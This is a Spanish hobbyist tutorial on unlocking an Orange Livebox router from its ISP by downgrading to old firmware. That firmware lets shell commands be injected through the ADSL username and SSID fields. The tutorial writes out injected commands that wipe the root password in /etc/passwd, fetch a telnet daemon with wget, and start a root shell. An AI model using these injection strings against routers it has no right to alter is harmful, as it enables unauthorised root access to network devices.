Para empezar informacion, mucha informacion, y es que hay que mirar y contrastar fuentes antes de hacer algo que ponga en riesgo cualquier dispositivo. En este caso las unicas partes que presentan riesgo son las de "downgrade" y "upgrade": cambiar los firmwares. Y es que mientras se reprograma no puede interrumpirse pero como lo vamos a hacer con el software de orange no hay riesgo. Lo unico que podria pasar seria que se nos fuera la luz, bien del livebox, bien del ordenador, o de los dos... Aun asi se podria recuperar.


Lo que pretendemos es instalar un firmware antiguo por que estos presentan una vulnerabilidad, que es que en el cuadro de dialogo en el que se pone el nombre de cliente adsl, y en el que se pone el ssid, se pueden escribir comandos. Esto es lo que nos hace falta para conseguir instalar un acceso por telnet al router mediante ftp, yo he utilizado "TYPsoft ftp server". Cuando tengamos telnet conseguimos el codigo de desbloqueo en hexadecimal, lo ponemos en una pagina que nos lo convierte y lo introducimos en el livebox ya con un firmware nuevo.

Las paginas en las que se explica este proceso son:
http://staff.adslzone.net/victorserrano/livebox/liberar-livebox/
http://shadeone.free.fr/?p=136,
http://www.agp.dsl.pipex.com/
http://www.adslzone.net/postx125831-0-10.html

El primer paso es bajar la version del firmware del livebox: Instalamos
los programas del cd de orange, conectamos el livebox por rj45, y en el menu inicio buscamos "configuracion de fabrica ethernet".
Nos ponemos ip fija, por ejemplo 192.168.1.2, ya que el router tiene 192.168.1.1



Le damos y actualizamos con el firmware antiguo 5.03.2, que lo podemos descargar de aqui: http://staff.adslzone.net/victorserrano/files/livebox/liberar_livebox/firmware_v5.03.2-sp.dwb



Ahora accedemos al libebox y procedemos a instalarle el servidor telnet. El elegido sera Utelnetd (http://www.agp.dsl.pipex.com/files/utelnetd) , que esta adaptado. Lo vamos a utilizar con el nombre "u", si quereis aqui: http://staff.adslzone.net/victorserrano/files/livebox/liberar_livebox/u ya esta con el nombre "u".
Lo guardamos en una carpeta donde ponemos todo lo que vamos a necesitar, por ejemplo "c:\livebox".
Ahora instalamos y configuramos nuestro servidor telnet, TYPsoft, lo configuramos como en la imagen: solo hay que elegir el directorio donde va a estar la carpeta para compartir por ftp, en nuestro caso "c:\livebox"


Le damos a aceptar y ya estaria, para comprobarlo podemos poner en el explorador "ftp://192.168.1.2" (que es nuestra ip) y tendriamos que poder acceder a nuestra carpeta
(en la foto hay otra ip, por que primero puse 10.0.0.2... pero mejor poner 192.168.1.2)
,y descargar "u", si podemos, ya esta listo.
Ahora entramos al livebox (192.168.1.1)

le damos a "acceso a la pagina inicial", admin y pass:"admin".
le damos a "pagina de inicio", y en "nombre de usuario adsl"
ponemos:
;echo root::0:0:root:/root:/bin/sh >/etc/passwd

le damos a enviar, con esto le quitamos la contraseña de root al router.

Luego en Configuración->Avanzada->Inalámbrico, cambiamos el ESSID a:
;cd /etc;wget ftp://192.168.1.2/u
le damos a "enviar" luego "aplicar", se reinicia el router y descargara "u" de nuestro ordenador, deberemos verlo en "typsoft" en el registro:


volvemos a cambiar el ESSID y ponemos:
;chmod 777 /etc/uCon esta acción damos permisos de ejecución al fichero “u”.
volvemos a cambiar el ESSID a;/etc/u -p 23 -l /bin/sh -d
Una vez más pulsamos en “Enviar” y luego en “Aplicar”. El router se volverá a reiniciar.

Si hemos realizado todos los pasos de manera correcta, podremos conectar via telnet con nuestro router. Abrimos una ventana de comandos y tecleamos “telnet 192.168.1.1″ y nos aparecerá el Busybox.

Ahora debemos ejecutar lo siguiente en el telnet:redboot_fconfig_get –parameter h235_key /dev/mtd4
Nos devolverá una clave hexadecimal. La copiamos y la introducimos en esta página web

http://www.agp.dsl.pipex.com/h235tounlock.html
le damos a aceptar y:
Ya tenemos la clave ya convertida lista para desbloquear el router.
Volvemos a actualizar el firmware y esta vez ponemos el actual, a dia de hoy el 5.08.3,

el firmware viene en el cd de utilidades de orange, y tambien en la carpeta donde se encuentra el programa de actualizacion.
Por último, solo queda acceder por http al router e ir a la página http://192.168.1.1/brdgoff.html

pegar el código de desbloqueo proporcionado por la página y ya tendremos el router liberado para cualquier operador y con un firmware sin restricciones.
Para comprobarlo, por ejemplo vamos a propiedades adsl y tendremos que ver mas opciones que la unica que viene por defecto:


He tenido que ver metodos alternativos, y utilizar un ftp diferente al que utiliza (me he conectado por red en vez de por usb, que es mas engorroso, he utilizado la ip 192.168.1.2, aunque tambien podia utilizar la 10.0.0.2, y he utilizado Typsoft por que me parecia mas comodo que el que utiliza), pero la mayor informacion la he recibido de adslzone ( http://staff.adslzone.net/victorserrano/livebox/liberar-livebox/ ), que tiene muchos y muy buenos tutoriales, y un buen foro.